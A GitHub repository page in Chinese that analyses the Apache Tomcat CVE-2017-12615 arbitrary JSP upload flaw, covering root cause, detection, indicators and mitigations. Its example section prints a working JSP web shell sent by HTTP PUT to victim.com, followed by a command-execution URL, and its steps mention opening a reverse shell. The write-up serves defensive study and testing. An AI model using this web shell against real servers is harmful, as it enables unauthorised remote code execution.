K3ysTr0K3R/CVE-2017-12615

GitHub: K3ysTr0K3R/CVE-2017-12615

该项目是针对 Apache Tomcat CVE-2017-12615 远程代码执行漏洞的详细技术分析与利用指南,涵盖漏洞原理、利用流程、检测方法及缓解措施。

Stars: 0 | Forks: 0

# CVE-2017-12615 - Apache Tomcat 远程代码执行 (RCE) **CVE-2017-12615** 是一个远程代码执行 (RCE) 漏洞,影响在启用了 HTTP **PUT** 请求且运行于 **Microsoft Windows** 上的 **Apache Tomcat 7.0.0 至 7.0.79** 版本。 该漏洞的存在是因为当 **DefaultServlet** 的 `readonly` 参数被设置为 `false` 时,Tomcat 对上传的 JSP 文件处理不当。在这种情况下,未经身份验证的攻击者可以直接将恶意的 JSP 文件上传到 Web 服务器,只需请求上传的文件即可执行任意 Java 代码。 由于该漏洞极其容易被用于攻击配置不当的服务器,它成为了最著名的 Tomcat RCE 漏洞之一。 ## 受影响版本 - Apache Tomcat **7.0.0 - 7.0.79** - Microsoft Windows 安装版本 - 启用了 HTTP PUT 方法 - DefaultServlet 配置了 `readonly="false"` ## 严重程度 | 指标 | 数值 | |--------|-------| | CVE | CVE-2017-12615 | | CVSS v3 | 8.1 (高危) | | 攻击途径 | 网络 | | 所需权限 | 无 | | 用户交互 | 无 | | 影响 | 远程代码执行 | ## 根本原因 通常情况下,Apache Tomcat 会阻止用户上传可执行的 JSP 文件。 然而,当满足以下条件时: - 启用了 HTTP PUT 请求 - DefaultServlet 可写 (`readonly=false`) - Tomcat 运行在 Windows 上 攻击者可以直接将 JSP 文件上传到 Web 根目录。 上传后,请求该 JSP 文件会导致 Tomcat 编译并执行它,从而允许在 Tomcat 服务的权限下执行任意 Java 代码。 ## 攻击流程 ``` Attacker │ │ HTTP PUT ▼ Uploads malicious JSP shell │ ▼ Tomcat stores file │ │ HTTP GET ▼ Requests uploaded JSP │ ▼ Tomcat compiles JSP │ ▼ Java code executes │ ▼ Remote Code Execution ``` ## 利用过程 一次典型的攻击遵循以下步骤: 1. 识别易受攻击的 Tomcat 实例。 2. 验证是否允许 HTTP PUT 请求。 3. 上传恶意的 `.jsp` web shell。 4. 请求上传的 JSP 文件。 5. 执行任意系统命令。 6. 建立反向 shell 或部署额外的 payload。 如果服务器存在漏洞,则无需进行身份验证。 ## 示例请求 HTTP PUT 请求示例: ``` PUT /shell.jsp HTTP/1.1 Host: victim.com Content-Type: application/octet-stream <%@ page import="java.io.*" %> <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> ``` 如果成功,服务器将响应: ``` HTTP/1.1 201 Created ``` 随后,可以通过访问以下地址来执行 payload: ``` http://victim.com/shell.jsp?cmd=whoami ``` ## 检测示例 识别易受攻击系统的一种简单方法是尝试上传一个无害的测试 JSP 文件: ``` PUT /test.jsp ``` 可能的响应包括: ``` 201 Created ``` 或者 ``` 204 No Content ``` 如果随后可以通过 HTTP 检索到上传的文件,则该服务器可能容易受到攻击。 ## 影响 成功利用此漏洞可以让攻击者: - 执行任意操作系统命令 - 上传持久化的 web shell - 获取反向 shell - 部署恶意软件或勒索软件 - 窃取敏感信息 - 进一步向内部网络进行渗透 - 完全控制受影响的 Tomcat 服务器 ## 攻陷指标 安全团队应针对以下情况进行调查: - 意外的 HTTP PUT 请求 - 新创建的 `.jsp` 文件 - 未知的 web shell - Tomcat 衍生出的可疑子进程 - 反向 shell 网络连接 - Tomcat web 根目录内的异常活动 ## 缓解措施 建议的缓解措施包括: - 将 Apache Tomcat 升级到已修补的版本。 - 除非绝对必要,否则禁用 HTTP PUT。 - 确保 DefaultServlet 使用 `readonly="true"`。 - 限制上传权限。 - 监控意外的 JSP 文件创建。 - 部署 Web 应用程序防火墙 (WAF)。 - 定期检查 Tomcat 访问日志,留意可疑的 PUT 请求。 ## 技术总结 | 属性 | 值 | |----------|-------| | 漏洞类型 | 任意 JSP 上传 | | CWE | CWE-434 - 危险类型文件的不受限制上传 | | 需要身份验证 | 否 | | 利用复杂度 | 在易受攻击的配置上为低 | | 结果 | 远程代码执行 | | 平台 | Windows | | 服务 | Apache Tomcat | ## 参考文献 - NIST 国家漏洞数据库 (NVD) - Apache Tomcat 安全公告 - CVE 记录:CVE-2017-12615 ## 免责声明 本仓库仅用于教育目的、防御性安全研究和授权的渗透测试。未经明确许可,请勿将这些信息用于攻击系统。
标签:Apache Tomcat, JS文件枚举, 威胁模拟, 编程工具, 远程代码执行